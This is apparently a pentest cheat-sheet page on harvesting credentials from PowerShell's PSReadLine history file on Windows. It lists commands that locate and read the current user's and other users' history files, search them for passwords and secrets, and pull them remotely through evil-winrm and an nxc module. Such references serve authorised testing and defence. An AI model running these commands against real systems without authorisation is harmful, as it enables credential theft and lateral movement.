PowerShell History — PSReadLine
Ctrl+F:
powershell history·PSReadLine·HistorySavePath·ConsoleHost_history.txt
Windows PowerShell (with PSReadLine) saves command history to a plaintext file per user. Admins often type passwords, connection strings, and one-liners here — always read on privesc / post-exploit.
→ Credential Discovery · Windows PrivEsc · type
📌 Find the history file path
(Get-PSReadlineOption).HistorySavePathExample output:
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt📌 Read history
PowerShell:
(Get-PSReadlineOption).HistorySavePath
type C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
# Current user — dynamic path
type $Env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Get-Content (Get-PSReadlineOption).HistorySavePathCMD:
type %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
type %USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txtOther users (if readable):
type C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
dir C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt /s /b 2>nul📌 Hunt interesting commands
Get-Content (Get-PSReadlineOption).HistorySavePath | Select-String -Pattern "pass|cred|secret|ConvertTo-SecureString|net user|invoke|download|certutil|mimikatz|runas" -CaseSensitive:$falsefindstr /i "pass cred secret net user invoke certutil download" %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt📌 From Kali (remote)
# evil-winrm
*Evil-WinRM* PS> (Get-PSReadlineOption).HistorySavePath
*Evil-WinRM* PS> type $Env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
# CrackMapExec module
nxc smb TARGET -u user -p pass -M powershell_history→ evil-winrm · CrackMapExec - nxc
📌 Default path pattern
C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt| Variable | Expands to |
|---|---|
$Env:APPDATA | C:\Users\<user>\AppData\Roaming |
%APPDATA% | Same (CMD) |
📌 Quick cheat sheet
(Get-PSReadlineOption).HistorySavePath
type C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
type $Env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txttype %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt